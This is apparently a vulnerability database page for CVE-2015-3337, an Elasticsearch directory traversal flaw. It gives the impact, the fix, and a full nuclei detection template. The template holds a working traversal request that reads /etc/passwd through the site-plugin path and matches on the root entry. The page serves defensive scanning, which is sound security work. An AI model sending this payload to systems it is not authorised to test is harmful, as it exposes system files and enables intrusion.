HexBrain

Browse / CVEs / CVE-2015-3337

CVE-2015-3337· elasticsearch / elasticsearch· CWE-22

Elasticsearch - Local File Inclusion

mediumseverity
4.3CVSS score
33.2%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Elasticsearch before 1.4.5 and 1.5.x before 1.5.2 allows remote attackers to read arbitrary files via unspecified vectors when a site plugin is enabled.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server.

Fix

Upgrade to a patched version of Elasticsearch or apply the necessary security patches.

How to confirm it

Send: GET {{BaseURL}}/_plugin/head/../../../../../../../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2015-3337 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2015-3337

info:
  name: Elasticsearch - Local File Inclusion
  author: pdteam
  severity: medium
  description: Elasticsearch before 1.4.5 and 1.5.x before 1.5.2 allows remote attackers to read arbitrary files via unspecified vectors when a site plugin is enabled.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Upgrade to a patched version of Elasticsearch or apply the necessary security patches.
  reference:
    - https://www.exploit-db.com/exploits/37054/
    - https://www.elastic.co/community/security
    - http://www.debian.org/security/2015/dsa-3241
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3337
    - http://packetstormsecurity.com/files/131646/Elasticsearch-Directory-Traversal.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-3337
    cwe-id: CWE-22
    epss-score: 0.3316
    epss-percentile: 0.98379
    cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: elasticsearch
    product: elasticsearch
    fofa-query: index_not_found_exception
  tags: cve2015,cve,packetstorm,edb,elastic,lfi,elasticsearch,plugin,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_plugin/head/../../../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from